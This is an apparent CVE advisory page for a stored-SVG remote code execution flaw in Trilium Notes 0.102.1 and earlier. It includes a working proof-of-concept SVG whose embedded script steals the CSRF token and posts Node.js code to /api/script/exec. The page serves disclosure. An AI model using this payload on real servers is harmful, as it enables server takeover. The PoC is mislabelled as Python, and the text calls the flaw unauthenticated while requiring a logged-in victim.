Security Vulnerability Report
中文
CVE-2026-39311 CVSS 6.8 MEDIUM

CVE-2026-39311

Published: 2026-05-20 20:16:39
Last Modified: 2026-05-21 15:24:25

Description

Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. Versions 0.102.1 and prior contain a critical security flaw where lack of SVG sanitization combined with a disabled Content Security Policy (CSP) and a publicly reachable backend execution API results in an unauthenticated Remote Code Execution (RCE). The vulnerability arises from an insecure-by-design architecture: Trilium serves SVG attachments with the image/svg+xml MIME type without any sanitization, and it explicitly disables Helmet's Content Security Policy middleware, removing the primary defense against script execution in served assets. Because the malicious SVG runs under the Same-Origin Policy, it can issue a fetch('/') to extract the csrfToken from the document body. With that token, it can send a signed request to /api/script/exec to execute arbitrary Node.js code on the server. An attacker can compromise the entire server instance simply by tricking an authenticated user into viewing a shared SVG attachment. The issue has been fixed in version 0.102.2.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Trilium Notes <= 0.102.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<svg xmlns="http://www.w3.org/2000/svg"> <script> // Exploit code for CVE-2026-39311 // Step 1: Fetch the homepage to get the CSRF token from the DOM fetch('/').then(response => response.text()).then(html => { // Extract csrfToken using regex (adjust pattern based on actual Trilium HTML structure) const tokenMatch = html.match(/name="csrfToken" content="(.*?)"/); const csrfToken = tokenMatch ? tokenMatch[1] : null; if (csrfToken) { // Step 2: Define the malicious Node.js payload to execute // This example creates a file named 'pwned.txt' on the server const payload = ` const fs = require('fs'); fs.writeFileSync('/tmp/pwned.txt', 'CVE-2026-39311 Exploited'); `; // Step 3: Send the request to the exec API with the token fetch('/api/script/exec', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ script: payload }) }).then(res => console.log('Exploit sent')); } }); </script> <text x="0" y="15" font-size="20">Click to view</text> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39311", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:39.363", "lastModified": "2026-05-21T15:24:25.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. Versions 0.102.1 and prior contain a critical security flaw where lack of SVG sanitization combined with a disabled Content Security Policy (CSP) and a publicly reachable backend execution API results in an unauthenticated Remote Code Execution (RCE). The vulnerability arises from an insecure-by-design architecture: Trilium serves SVG attachments with the image/svg+xml MIME type without any sanitization, and it explicitly disables Helmet's Content Security Policy middleware, removing the primary defense against script execution in served assets. Because the malicious SVG runs under the Same-Origin Policy, it can issue a fetch('/') to extract the csrfToken from the document body. With that token, it can send a signed request to /api/script/exec to execute arbitrary Node.js code on the server. An attacker can compromise the entire server instance simply by tricking an authenticated user into viewing a shared SVG attachment. The issue has been fixed in version 0.102.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/TriliumNext/Trilium/releases/tag/v0.102.2", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-p837-cxw3-m964", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-p837-cxw3-m964", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}